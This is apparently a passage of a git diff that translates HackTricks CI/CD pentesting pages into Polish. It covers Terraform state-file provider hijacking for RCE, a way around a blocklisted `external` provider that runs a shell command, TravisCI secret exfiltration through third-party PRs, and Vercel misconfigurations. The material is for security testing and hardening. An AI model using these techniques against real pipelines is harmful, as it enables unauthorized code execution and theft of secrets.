modifying the type of the instance is enough to make terraform delete a recreate it. +Dla instancji EC2, zmiana typu instancji wystarczy, aby terraform usunął i odtworzył ją. ### RCE -It's also possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add an empty resource with the malicious provider. Example from the original research: - +Możliwe jest również [utworzenie niestandardowego dostawcy](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) i po prostu zastąpienie jednego z dostawców w pliku stanu terraform złośliwym lub dodanie pustego zasobu z złośliwym dostawcą. Przykład z oryginalnych badań: ```json "resources": [ { - "mode": "managed", - "type": "scaffolding_example", - "name": "example", - "provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]", - "instances": [ +"mode": "managed", +"type": "scaffolding_example", +"name": "example", +"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]", +"instances": [ - ] +] }, ``` +### Zastąpienie zablokowanego dostawcy -### Replace blacklisted provider - -In case you encounter a situation where `hashicorp/external` was blacklisted, you can re-implement the `external` provider by doing the following. Note: We use a fork of external provider published by https://registry.terraform.io/providers/nazarewk/external/latest. You can publish your own fork or re-implementation as well. - +W przypadku napotkania sytuacji, w której `hashicorp/external` został zablokowany, możesz ponownie zaimplementować dostawcę `external`, wykonując następujące kroki. Uwaga: Używamy forka dostawcy external opublikowanego przez https://registry.terraform.io/providers/nazarewk/external/latest. Możesz również opublikować własny fork lub ponowną implementację. ```terraform terraform { - required_providers { - external = { - source = "nazarewk/external" - version = "3.0.0" - } - } +required_providers { +external = { +source = "nazarewk/external" +version = "3.0.0" +} +} } ``` - -Then you can use `external` as per normal. - +Następnie możesz użyć `external` jak zwykle. ```terraform data "external" "example" { - program = ["sh", "-c", "whoami"] +program = ["sh", "-c", "whoami"] } ``` - -## Automatic Audit Tools +## Narzędzia do automatycznego audytu ### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/) -Snyk offers a comprehensive Infrastructure as Code (IaC) scanning solution that detects vulnerabilities and misconfigurations in Terraform, CloudFormation, Kubernetes, and other IaC formats. - -- **Features:** - - Real-time scanning for security vulnerabilities and compliance issues. - - Integration with version control systems (GitHub, GitLab, Bitbucket). - - Automated fix pull requests. - - Detailed remediation advice. -- **Sign Up:** Create an account on [Snyk](https://snyk.io/). +Snyk oferuje kompleksowe rozwiązanie do skanowania Infrastructure as Code (IaC), które wykrywa luki i błędne konfiguracje w Terraform, CloudFormation, Kubernetes i innych formatach IaC. +- **Funkcje:** +- Skanowanie w czasie rzeczywistym w poszukiwaniu luk w zabezpieczeniach i problemów z zgodnością. +- Integracja z systemami kontroli wersji (GitHub, GitLab, Bitbucket). +- Zautomatyzowane prośby o poprawki. +- Szczegółowe porady dotyczące usuwania problemów. +- **Zarejestruj się:** Utwórz konto na [Snyk](https://snyk.io/). ```bash brew tap snyk/tap brew install snyk snyk auth snyk iac test /path/to/terraform/code ``` - ### [Checkov](https://github.com/bridgecrewio/checkov) -**Checkov** is a static code analysis tool for infrastructure as code (IaC) and also a software composition analysis (SCA) tool for images and open source packages. +**Checkov** to narzędzie do analizy statycznej kodu dla infrastruktury jako kodu (IaC) oraz narzędzie do analizy składu oprogramowania (SCA) dla obrazów i pakietów open source. -It scans cloud infrastructure provisioned using [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) and detects security and compliance misconfigurations using graph-based scanning. - -It performs [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) which is a scan of open source packages and images for Common Vulnerabilities and Exposures (CVEs). +Skanuje infrastrukturę chmurową dostarczoną za pomocą [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) lub [OpenTofu](https://opentofu.org/) i wykrywa błędy w konfiguracji bezpieczeństwa i zgodności za pomocą skanowania opartego na grafach. +Wykonuje [analizę składu oprogramowania (SCA)](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), która jest skanowaniem pakietów open source i obrazów pod kątem powszechnych luk w zabezpieczeniach (CVE). ```bash pip install checkov checkov -d /path/to/folder ``` - ### [terraform-compliance](https://github.com/terraform-compliance/cli) -From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` is a lightweight, security and compliance focused test framework against terraform to enable negative testing capability for your infrastructure-as-code. +Z [**dokumentacji**](https://github.com/terraform-compliance/cli): `terraform-compliance` to lekkie, skoncentrowane na bezpieczeństwie i zgodności ramy testowe dla terraform, które umożliwiają negatywne testowanie twojej infrastruktury jako kodu. -- **compliance:** Ensure the implemented code is following security standards, your own custom standards -- **behaviour driven development:** We have BDD for nearly everything, why not for IaC ? -- **portable:** just install it from `pip` or run it via `docker`. See [Installation](https://terraform-compliance.com/pages/installation/) -- **pre-deploy:** it validates your code before it is deployed -- **easy to integrate:** it can run in your pipeline (or in git hooks) to ensure all deployments are validated. -- **segregation of duty:** you can keep your tests in a different repository where a separate team is responsible. +- **zgodność:** Upewnij się, że wdrożony kod przestrzega standardów bezpieczeństwa oraz twoich własnych standardów. +- **rozwój oparty na zachowaniu:** Mamy BDD prawie dla wszystkiego, dlaczego nie dla IaC? +- **przenośność:** wystarczy zainstalować z `pip` lub uruchomić za pomocą `docker`. Zobacz [Instalacja](https://terraform-compliance.com/pages/installation/) +- **przed wdrożeniem:** waliduje twój kod przed jego wdrożeniem. +- **łatwość integracji:** może działać w twoim pipeline (lub w git hooks), aby zapewnić, że wszystkie wdrożenia są walidowane. +- **segregacja obowiązków:** możesz przechowywać swoje testy w innym repozytorium, gdzie odpowiedzialny jest osobny zespół. > [!NOTE] -> Unfortunately if the code is using some providers you don't have access to you won't be able to perform the `terraform plan` and run this tool. - +> Niestety, jeśli kod korzysta z niektórych dostawców, do których nie masz dostępu, nie będziesz mógł wykonać `terraform plan` i uruchomić to narzędzie. ```bash pip install terraform-compliance terraform plan -out=plan.out terraform-compliance -f /path/to/folder ``` - ### [tfsec](https://github.com/aquasecurity/tfsec) -From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec uses static analysis of your terraform code to spot potential misconfigurations. - -- ☁️ Checks for misconfigurations across all major (and some minor) cloud providers -- ⛔ Hundreds of built-in rules -- 🪆 Scans modules (local and remote) -- ➕ Evaluates HCL expressions as well as literal values -- ↪️ Evaluates Terraform functions e.g. `concat()` -- 🔗 Evaluates relationships between Terraform resources -- 🧰 Compatible with the Terraform CDK -- 🙅 Applies (and embellishes) user-defined Rego policies -- 📃 Supports multiple output formats: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif. -- 🛠️ Configurable (via CLI flags and/or config file) -- ⚡ Very fast, capable of quickly scanning huge repositories +Z [**dokumentacji**](https://github.com/aquasecurity/tfsec): tfsec wykorzystuje analizę statyczną twojego kodu terraform, aby wykryć potencjalne błędy konfiguracyjne. +- ☁️ Sprawdza błędy konfiguracyjne we wszystkich głównych (i niektórych mniejszych) dostawcach chmury +- ⛔ Setki wbudowanych reguł +- 🪆 Skanuje moduły (lokalne i zdalne) +- ➕ Ocenia wyrażenia HCL oraz wartości dosłowne +- ↪️ Ocenia funkcje Terraform, np. `concat()` +- 🔗 Ocenia relacje między zasobami Terraform +- 🧰 Kompatybilny z Terraform CDK +- 🙅 Zastosowuje (i wzbogaca) zdefiniowane przez użytkownika polityki Rego +- 📃 Obsługuje wiele formatów wyjściowych: lovely (domyślny), JSON, SARIF, CSV, CheckStyle, JUnit, tekst, Gif. +- 🛠️ Konfigurowalny (za pomocą flag CLI i/lub pliku konfiguracyjnego) +- ⚡ Bardzo szybki, zdolny do szybkiego skanowania ogromnych repozytoriów ```bash brew install tfsec tfsec /path/to/folder ``` - ### [KICKS](https://github.com/Checkmarx/kics) -Find security vulnerabilities, compliance issues, and infrastructure misconfigurations early in the development cycle of your infrastructure-as-code with **KICS** by Checkmarx. - -**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure, it is open source and is a must-have for any cloud native project. +Znajdź luki w zabezpieczeniach, problemy z zgodnością i błędy w konfiguracji infrastruktury na wczesnym etapie cyklu rozwoju swojej infrastruktury jako kodu z **KICS** od Checkmarx. +**KICS** oznacza **K**eeping **I**nfrastructure as **C**ode **S**ecure, jest to projekt open source i jest niezbędny w każdym projekcie chmurowym. ```bash docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" ``` - ### [Terrascan](https://github.com/tenable/terrascan) -From the [**docs**](https://github.com/tenable/terrascan): Terrascan is a static code analyzer for Infrastructure as Code. Terrascan allows you to: - -- Seamlessly scan infrastructure as code for misconfigurations. -- Monitor provisioned cloud infrastructure for configuration changes that introduce posture drift, and enables reverting to a secure posture. -- Detect security vulnerabilities and compliance violations. -- Mitigate risks before provisioning cloud native infrastructure. -- Offers flexibility to run locally or integrate with your CI\CD. +Z [**dokumentacji**](https://github.com/tenable/terrascan): Terrascan to statyczny analizator kodu dla Infrastruktury jako Kod. Terrascan pozwala Ci na: +- Bezproblemowe skanowanie infrastruktury jako kod w poszukiwaniu błędnych konfiguracji. +- Monitorowanie dostarczonej infrastruktury chmurowej w celu wykrywania zmian konfiguracji, które wprowadzają odchylenia w postawie, oraz umożliwia powrót do bezpiecznej postawy. +- Wykrywanie luk w zabezpieczeniach i naruszeń zgodności. +- Łagodzenie ryzyk przed dostarczeniem natywnej infrastruktury chmurowej. +- Oferuje elastyczność uruchamiania lokalnie lub integracji z Twoim CI\CD. ```bash brew install terrascan ``` - -## References +## Odniesienia - [Atlantis Security](atlantis-security.md) - [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce) @@ -310,7 +280,3 @@ brew install terrascan - [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/todo.md b/src/pentesting-ci-cd/todo.md index 63a3bb5c8..c03628c32 100644 --- a/src/pentesting-ci-cd/todo.md +++ b/src/pentesting-ci-cd/todo.md @@ -2,7 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -Github PRs are welcome explaining how to (ab)use those platforms from an attacker perspective +Github PRs są mile widziane, wyjaśniając, jak (nadużywać) tych platform z perspektywy atakującego - Drone - TeamCity @@ -11,10 +11,6 @@ Github PRs are welcome explaining how to (ab)use those platforms from an attacke - Rancher - Mesosphere - Radicle -- Any other CI/CD platform... +- Jakakolwiek inna platforma CI/CD... {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md index cff623392..28f612675 100644 --- a/src/pentesting-ci-cd/travisci-security/README.md +++ b/src/pentesting-ci-cd/travisci-security/README.md @@ -4,7 +4,7 @@ ## What is TravisCI -**Travis CI** is a **hosted** or on **premises** **continuous integration** service used to build and test software projects hosted on several **different git platform**. +**Travis CI** to **hostowana** lub na **miejscu** usługa **ciągłej integracji**, która służy do budowania i testowania projektów oprogramowania hostowanych na kilku **różnych platformach git**. {{#ref}} basic-travisci-information.md @@ -14,48 +14,48 @@ basic-travisci-information.md ### Triggers -To launch an attack you first need to know how to trigger a build. By default TravisCI will **trigger a build on pushes and pull requests**: +Aby przeprowadzić atak, najpierw musisz wiedzieć, jak uruchomić budowę. Domyślnie TravisCI **uruchomi budowę przy pushach i pull requestach**: ![](<../../images/image (145).png>) #### Cron Jobs -If you have access to the web application you can **set crons to run the build**, this could be useful for persistence or to trigger a build: +Jeśli masz dostęp do aplikacji internetowej, możesz **ustawić crony do uruchamiania budowy**, co może być przydatne do utrzymania lub uruchamiania budowy: ![](<../../images/image (243).png>) > [!NOTE] -> It looks like It's not possible to set crons inside the `.travis.yml` according to [this](https://github.com/travis-ci/travis-ci/issues/9162). +> Wygląda na to, że nie jest możliwe ustawienie cronów wewnątrz `.travis.yml` zgodnie z [tym](https://github.com/travis-ci/travis-ci/issues/9162). ### Third Party PR -TravisCI by default disables sharing env variables with PRs coming from third parties, but someone might enable it and then you could create PRs to the repo and exfiltrate the secrets: +TravisCI domyślnie wyłącza udostępnianie zmiennych środowiskowych z PR-ów pochodzących od stron trzecich, ale ktoś może to włączyć, a wtedy możesz stworzyć PR do repozytorium i wyeksfiltrować sekrety: ![](<../../images/image (208).png>) ### Dumping Secrets -As explained in the [**basic information**](basic-travisci-information.md) page, there are 2 types of secrets. **Environment Variables secrets** (which are listed in the web page) and **custom encrypted secrets**, which are stored inside the `.travis.yml` file as base64 (note that both as stored encrypted will end as env variables in the final machines). +Jak wyjaśniono na stronie [**podstawowe informacje**](basic-travisci-information.md), istnieją 2 typy sekretów. **Sekrety zmiennych środowiskowych** (które są wymienione na stronie internetowej) oraz **niestandardowe zaszyfrowane sekrety**, które są przechowywane w pliku `.travis.yml` jako base64 (zauważ, że oba, jako przechowywane zaszyfrowane, będą kończyć jako zmienne środowiskowe na finalnych maszynach). -- To **enumerate secrets** configured as **Environment Variables** go to the **settings** of the **project** and check the list. However, note that all the project env variables set here will appear when triggering a build. -- To enumerate the **custom encrypted secrets** the best you can do is to **check the `.travis.yml` file**. -- To **enumerate encrypted files** you can check for **`.enc` files** in the repo, for lines similar to `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in the config file, or for **encrypted iv and keys** in the **Environment Variables** such as: +- Aby **wyliczyć sekrety** skonfigurowane jako **zmienne środowiskowe**, przejdź do **ustawień** projektu i sprawdź listę. Należy jednak pamiętać, że wszystkie zmienne środowiskowe projektu ustawione tutaj pojawią się podczas uruchamiania budowy. +- Aby wyliczyć **niestandardowe zaszyfrowane sekrety**, najlepiej jest **sprawdzić plik `.travis.yml`**. +- Aby **wyliczyć zaszyfrowane pliki**, możesz sprawdzić **pliki `.enc`** w repozytorium, w poszukiwaniu linii podobnych do `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` w pliku konfiguracyjnym, lub dla **zaszyfrowanych iv i kluczy** w **zmiennych środowiskowych**, takich jak: ![](<../../images/image (81).png>) ### TODO: -- Example build with reverse shell running on Windows/Mac/Linux -- Example build leaking the env base64 encoded in the logs +- Przykład budowy z odwróconym shellem działającym na Windows/Mac/Linux +- Przykład budowy wyciekającej zmienną środowiskową zakodowaną w base64 w logach ### TravisCI Enterprise -If an attacker ends in an environment which uses **TravisCI enterprise** (more info about what this is in the [**basic information**](basic-travisci-information.md#travisci-enterprise)), he will be able to **trigger builds in the the Worker.** This means that an attacker will be able to move laterally to that server from which he could be able to: +Jeśli atakujący znajdzie się w środowisku, które używa **TravisCI enterprise** (więcej informacji na ten temat w [**podstawowych informacjach**](basic-travisci-information.md#travisci-enterprise)), będzie mógł **uruchomić budowy w Workerze.** Oznacza to, że atakujący będzie mógł poruszać się lateralnie do tego serwera, z którego mógłby: -- escape to the host? -- compromise kubernetes? -- compromise other machines running in the same network? -- compromise new cloud credentials? +- uciec do hosta? +- skompromitować kubernetes? +- skompromitować inne maszyny działające w tej samej sieci? +- skompromitować nowe dane uwierzytelniające w chmurze? ## References @@ -63,7 +63,3 @@ If an attacker ends in an environment which uses **TravisCI enterprise** (more i - [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md index 46b10bf38..a0e471340 100644 --- a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md +++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md @@ -1,48 +1,45 @@ -# Basic TravisCI Information +# Podstawowe informacje o TravisCI {{#include ../../banners/hacktricks-training.md}} -## Access +## Dostęp -TravisCI directly integrates with different git platforms such as Github, Bitbucket, Assembla, and Gitlab. It will ask the user to give TravisCI permissions to access the repos he wants to integrate with TravisCI. +TravisCI bezpośrednio integruje się z różnymi platformami git, takimi jak Github, Bitbucket, Assembla i Gitlab. Poprosi użytkownika o nadanie TravisCI uprawnień do dostępu do repozytoriów, które chce zintegrować z TravisCI. -For example, in Github it will ask for the following permissions: +Na przykład, w Github poprosi o następujące uprawnienia: -- `user:email` (read-only) -- `read:org` (read-only) -- `repo`: Grants read and write access to code, commit statuses, collaborators, and deployment statuses for public and private repositories and organizations. +- `user:email` (tylko do odczytu) +- `read:org` (tylko do odczytu) +- `repo`: Przyznaje dostęp do odczytu i zapisu do kodu, statusów commitów, współpracowników i statusów wdrożeń dla publicznych i prywatnych repozytoriów oraz organizacji. -## Encrypted Secrets +## Szyfrowane sekrety -### Environment Variables +### Zmienne środowiskowe -In TravisCI, as in other CI platforms, it's possible to **save at repo level secrets** that will be saved encrypted and be **decrypted and push in the environment variable** of the machine executing the build. +W TravisCI, jak w innych platformach CI, możliwe jest **zapisywanie na poziomie repozytorium sekretów**, które będą przechowywane w formie zaszyfrowanej i będą **odszyfrowywane i przesyłane w zmiennej środowiskowej** maszyny wykonującej budowę. ![](<../../images/image (203).png>) -It's possible to indicate the **branches to which the secrets are going to be available** (by default all) and also if TravisCI **should hide its value** if it appears **in the logs** (by default it will). +Możliwe jest wskazanie **gałęzi, do których sekrety będą dostępne** (domyślnie wszystkie) oraz czy TravisCI **powinien ukryć ich wartość**, jeśli pojawi się **w logach** (domyślnie tak). -### Custom Encrypted Secrets +### Niestandardowe szyfrowane sekrety -For **each repo** TravisCI generates an **RSA keypair**, **keeps** the **private** one, and makes the repository’s **public key available** to those who have **access** to the repository. - -You can access the public key of one repo with: +Dla **każdego repozytorium** TravisCI generuje **parę kluczy RSA**, **przechowuje** klucz **prywatny** i udostępnia **klucz publiczny** repozytorium tym, którzy mają **dostęp** do repozytorium. +Możesz uzyskać dostęp do klucza publicznego jednego repozytorium za pomocą: ``` travis pubkey -r / travis pubkey -r carlospolop/t-ci-test ``` - -Then, you can use this setup to **encrypt secrets and add them to your `.travis.yaml`**. The secrets will be **decrypted when the build is run** and accessible in the **environment variables**. +Następnie możesz użyć tej konfiguracji, aby **szyfrować sekrety i dodać je do swojego `.travis.yaml`**. Sekrety będą **odszyfrowane, gdy budowa będzie uruchamiana** i dostępne w **zmiennych środowiskowych**. ![](<../../images/image (139).png>) -Note that the secrets encrypted this way won't appear listed in the environmental variables of the settings. +Zauważ, że sekrety szyfrowane w ten sposób nie będą widoczne na liście w zmiennych środowiskowych ustawień. -### Custom Encrypted Files - -Same way as before, TravisCI also allows to **encrypt files and then decrypt them during the build**: +### Niestandardowe Szyfrowane Pliki +W ten sam sposób, co wcześniej, TravisCI również pozwala na **szyfrowanie plików, a następnie odszyfrowywanie ich podczas budowy**: ``` travis encrypt-file super_secret.txt -r carlospolop/t-ci-test @@ -52,7 +49,7 @@ storing secure env variables for decryption Please add the following to your build script (before_install stage in your .travis.yml, for instance): - openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d +openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d Pro Tip: You can add it automatically by running with --add. @@ -60,37 +57,32 @@ Make sure to add super_secret.txt.enc to the git repository. Make sure not to add super_secret.txt to the git repository. Commit all changes to your .travis.yml. ``` - -Note that when encrypting a file 2 Env Variables will be configured inside the repo such as: +Zauważ, że podczas szyfrowania pliku 2 zmienne środowiskowe będą skonfigurowane w repozytorium, takie jak: ![](<../../images/image (170).png>) ## TravisCI Enterprise -Travis CI Enterprise is an **on-prem version of Travis CI**, which you can deploy **in your infrastructure**. Think of the ‘server’ version of Travis CI. Using Travis CI allows you to enable an easy-to-use Continuous Integration/Continuous Deployment (CI/CD) system in an environment, which you can configure and secure as you want to. +Travis CI Enterprise to **wersja on-prem Travis CI**, którą możesz wdrożyć **w swojej infrastrukturze**. Pomyśl o wersji 'serwerowej' Travis CI. Używanie Travis CI pozwala na włączenie łatwego w użyciu systemu Continuous Integration/Continuous Deployment (CI/CD) w środowisku, które możesz skonfigurować i zabezpieczyć według własnych potrzeb. -**Travis CI Enterprise consists of two major parts:** +**Travis CI Enterprise składa się z dwóch głównych części:** -1. TCI **services** (or TCI Core Services), responsible for integration with version control systems, authorizing builds, scheduling build jobs, etc. -2. TCI **Worker** and build environment images (also called OS images). +1. Usługi TCI **(lub Usługi TCI Core)**, odpowiedzialne za integrację z systemami kontroli wersji, autoryzację budów, planowanie zadań budowlanych itp. +2. TCI **Worker** oraz obrazy środowiska budowy (nazywane również obrazami systemu operacyjnego). -**TCI Core services require the following:** +**Usługi TCI Core wymagają następujących elementów:** -1. A **PostgreSQL11** (or later) database. -2. An infrastructure to deploy a Kubernetes cluster; it can be deployed in a server cluster or in a single machine if required -3. Depending on your setup, you may want to deploy and configure some of the components on your own, e.g., RabbitMQ - see the [Setting up Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) for more details. +1. Bazy danych **PostgreSQL11** (lub nowszej). +2. Infrastruktury do wdrożenia klastra Kubernetes; może być wdrożona w klastrze serwerów lub na pojedynczej maszynie, jeśli to konieczne. +3. W zależności od twojej konfiguracji, możesz chcieć wdrożyć i skonfigurować niektóre z komponentów samodzielnie, np. RabbitMQ - zobacz [Konfiguracja Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) po więcej szczegółów. -**TCI Worker requires the following:** +**Worker TCI wymaga następujących elementów:** -1. An infrastructure where a docker image containing the **Worker and a linked build image can be deployed**. -2. Connectivity to certain Travis CI Core Services components - see the [Setting Up Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) for more details. +1. Infrastruktury, w której można wdrożyć obraz docker zawierający **Worker i powiązany obraz budowy**. +2. Łączności z niektórymi komponentami Usług Core Travis CI - zobacz [Konfiguracja Workera](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) po więcej szczegółów. -The amount of deployed TCI Worker and build environment OS images will determine the total concurrent capacity of Travis CI Enterprise deployment in your infrastructure. +Liczba wdrożonych obrazów systemu operacyjnego TCI Worker i środowiska budowy określi całkowitą równoległą pojemność wdrożenia Travis CI Enterprise w twojej infrastrukturze. ![](<../../images/image (199).png>) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/vercel-security.md b/src/pentesting-ci-cd/vercel-security.md index 16dc93da7..21b4d2f3f 100644 --- a/src/pentesting-ci-cd/vercel-security.md +++ b/src/pentesting-ci-cd/vercel-security.md @@ -2,440 +2,436 @@ {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje -In Vercel a **Team** is the complete **environment** that belongs a client and a **project** is an **application**. +W Vercel **Zespół** to pełne **środowisko**, które należy do klienta, a **projekt** to **aplikacja**. -For a hardening review of **Vercel** you need to ask for a user with **Viewer role permission** or at least **Project viewer permission over the projects** to check (in case you only need to check the projects and not the Team configuration also). +Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytkownika z **uprawnieniami roli Widok** lub przynajmniej **uprawnieniami widoku projektu** nad projektami, aby sprawdzić (w przypadku, gdy potrzebujesz tylko sprawdzić projekty, a nie konfigurację Zespołu). -## Project Settings +## Ustawienia projektu -### General +### Ogólne -**Purpose:** Manage fundamental project settings such as project name, framework, and build configurations. +**Cel:** Zarządzanie podstawowymi ustawieniami projektu, takimi jak nazwa projektu, framework i konfiguracje budowy. -#### Security Configurations: +#### Konfiguracje zabezpieczeń: - **Transfer** - - **Misconfiguration:** Allows to transfer the project to another team - - **Risk:** An attacker could steal the project -- **Delete Project** - - **Misconfiguration:** Allows to delete the project - - **Risk:** Delete the prject +- **Błędna konfiguracja:** Umożliwia przeniesienie projektu do innego zespołu +- **Ryzyko:** Atakujący może ukraść projekt +- **Usuń projekt** +- **Błędna konfiguracja:** Umożliwia usunięcie projektu +- **Ryzyko:** Usunięcie projektu --- -### Domains +### Domeny -**Purpose:** Manage custom domains, DNS settings, and SSL configurations. +**Cel:** Zarządzanie niestandardowymi domenami, ustawieniami DNS i konfiguracjami SSL. -#### Security Configurations: +#### Konfiguracje zabezpieczeń: -- **DNS Configuration Errors** - - **Misconfiguration:** Incorrect DNS records (A, CNAME) pointing to malicious servers. - - **Risk:** Domain hijacking, traffic interception, and phishing attacks. -- **SSL/TLS Certificate Management** - - **Misconfiguration:** Using weak or expired SSL/TLS certificates. - - **Risk:** Vulnerable to man-in-the-middle (MITM) attacks, compromising data integrity and confidentiality. -- **DNSSEC Implementation** - - **Misconfiguration:** Failing to enable DNSSEC or incorrect DNSSEC settings. - - **Risk:** Increased susceptibility to DNS spoofing and cache poisoning attacks. -- **Environment used per domain** - - **Misconfiguration:** Change the environment used by the domain in production. - - **Risk:** Expose potential secrets or functionalities taht shouldn't be available in production. +- **Błędy konfiguracji DNS** +- **Błędna konfiguracja:** Nieprawidłowe rekordy DNS (A, CNAME) wskazujące na złośliwe serwery. +- **Ryzyko:** Przejęcie domeny, przechwytywanie ruchu i ataki phishingowe. +- **Zarządzanie certyfikatami SSL/TLS** +- **Błędna konfiguracja:** Używanie słabych lub wygasłych certyfikatów SSL/TLS. +- **Ryzyko:** Wrażliwość na ataki typu man-in-the-middle (MITM), co narusza integralność i poufność danych. +- **Implementacja DNSSEC** +- **Błędna konfiguracja:** Nieaktywowanie DNSSEC lub nieprawidłowe ustawienia DNSSEC. +- **Ryzyko:** Zwiększona podatność na ataki spoofingowe DNS i ataki na pamięć podręczną. +- **Środowisko używane na domenę** +- **Błędna konfiguracja:** Zmiana środowiska używanego przez domenę w produkcji. +- **Ryzyko:** Ujawnienie potencjalnych sekretów lub funkcji, które nie powinny być dostępne w produkcji. --- -### Environments +### Środowiska -**Purpose:** Define different environments (Development, Preview, Production) with specific settings and variables. +**Cel:** Definiowanie różnych środowisk (Rozwój, Podgląd, Produkcja) z określonymi ustawieniami i zmiennymi. -#### Security Configurations: +#### Konfiguracje zabezpieczeń: -- **Environment Isolation** - - **Misconfiguration:** Sharing environment variables across environments. - - **Risk:** Leakage of production secrets into development or preview environments, increasing exposure. -- **Access to Sensitive Environments** - - **Misconfiguration:** Allowing broad access to production environments. - - **Risk:** Unauthorized changes or access to live applications, leading to potential downtimes or data breaches. +- **Izolacja środowiska** +- **Błędna konfiguracja:** Udostępnianie zmiennych środowiskowych między środowiskami. +- **Ryzyko:** Ujawnienie sekretów produkcyjnych w środowiskach rozwojowych lub podglądowych, zwiększając narażenie. +- **Dostęp do wrażliwych środowisk** +- **Błędna konfiguracja:** Umożliwienie szerokiego dostępu do środowisk produkcyjnych. +- **Ryzyko:** Nieautoryzowane zmiany lub dostęp do aplikacji na żywo, co prowadzi do potencjalnych przestojów lub naruszeń danych. --- -### Environment Variables +### Zmienne środowiskowe -**Purpose:** Manage environment-specific variables and secrets used by the application. +**Cel:** Zarządzanie zmiennymi i sekretami specyficznymi dla środowiska używanymi przez aplikację. -#### Security Configurations: +#### Konfiguracje zabezpieczeń: -- **Exposing Sensitive Variables** - - **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side. - - **Risk:** Exposure of API keys, database credentials, 